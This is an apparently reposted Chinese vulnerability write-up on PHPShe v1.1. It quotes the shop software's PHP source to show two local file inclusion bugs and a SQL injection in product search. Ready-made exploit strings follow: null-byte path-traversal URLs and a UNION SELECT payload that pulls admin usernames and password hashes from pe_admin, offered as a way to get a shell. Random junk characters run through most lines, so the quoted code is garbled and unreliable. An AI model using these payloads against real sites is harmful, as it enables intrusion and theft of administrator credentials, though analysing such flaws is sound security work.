phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
1 u  X( V3 ^# y4 h/* Phpshe v1.1 Vulnerability
$ u& m3 y0 R7 t, B2 P, k! Z: }/* ========================
7 ~4 b/ N7 Z7 e/* By: : Kn1f3
# t7 `* i1 c7 R4 A% b/* E-Mail : 681796@qq.com
  d$ `. c: k$ m. c/*******************************************************/
0×00 整体大概参数传输
/ ]9 U' Y: E8 \  R0 g5 Q" `


5 g" N* `" ]5 s% H8 o. Z, x//common.php
if (get_magic_quotes_gpc()) {
( ~* p$ T/ o0 v* l1 g. R" y!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
+ l! I. g! d0 [# `  P!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
6 E3 M3 x& X9 O; u  H* n- p$ _!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
* y+ w: N; e. @" _$ X4 J}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
% l5 x3 p: e8 z, {$ G) K# B
; v" W/ C9 W- F+ X+ m0×01 包含漏洞
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# e+ V% }3 c+ o- O: L$ D- i
//首页文件
: z/ |) x' O: _, y<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% n& W+ b* B) f1 H& K0 {) ^& Winclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
, z" G- j0 _( t. L! dpe_result();
0 N4 z1 a) O- L# r?>
, ^8 |5 u* [' }$ L9 O2 m//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
/ _( P( L4 m& A$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

# r2 p) ~- o" r9 k
) i4 {& {3 c* a* v5 f/ O 0×02 搜索注入
# a( H# Y, x6 G- w& ~
<code id="code2">

//product.php文件
) G9 h+ L2 G: Z: Gcase 'list':
$category_id = intval($id);
: J/ p( z. J. e4 E- h$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
. S6 J: m7 k4 b: k& z) Z# H/ Y* t$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 X7 j" d5 i6 X5 s: {if ($_g_orderby) {
* K& j$ _7 ^% X$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
" l- f/ R" M+ p1 _* P}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
; ^" E+ P' A& J$product_hotlist = product_hotlist();
' T# Y! \. y: J$ h+ B//当前路径
$nowpath = category_path($category_id);
% b# Y& Y" s7 `( a$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
7 v0 T" J+ y0 i1 C$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
! c8 e( D$ G; a9 z' dproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

& X7 n; y$ s4 R+ P$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

% ~2 P& e" b7 F5 u3 H* Zforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

5 }7 `+ s: A, g' e0 Jif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

9 z' _- ]; m2 z% {}

8 G" z+ W1 `$ {+ t' F$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

5 i$ a5 m6 @$ j$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

. U, k% }4 q3 Vforeach ($info_list as $v) {

& c+ n& Y) k6 r# j2 \9 M$order['order_name'] .= "{$v['product_name']};";
$ y& f* r: W; u! T* v+ r9 i8 {

}

8 Y: ^, |7 P# B2 Q; ]$ ~" Wecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

4 w" B& c, t% @/ `# ]}//当一切准备好的时候就可以进行"鸡肋包含了"

* Y4 C  W, T( f4 uelse {

) L' w" j, x8 G% r) N& B6 wpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

1 @: }: G& U3 ?8 C2 j' winclude(pe_tpl('order_pay.html'));

% ]2 d- x, f. ~+ V; A9 a+ ubreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>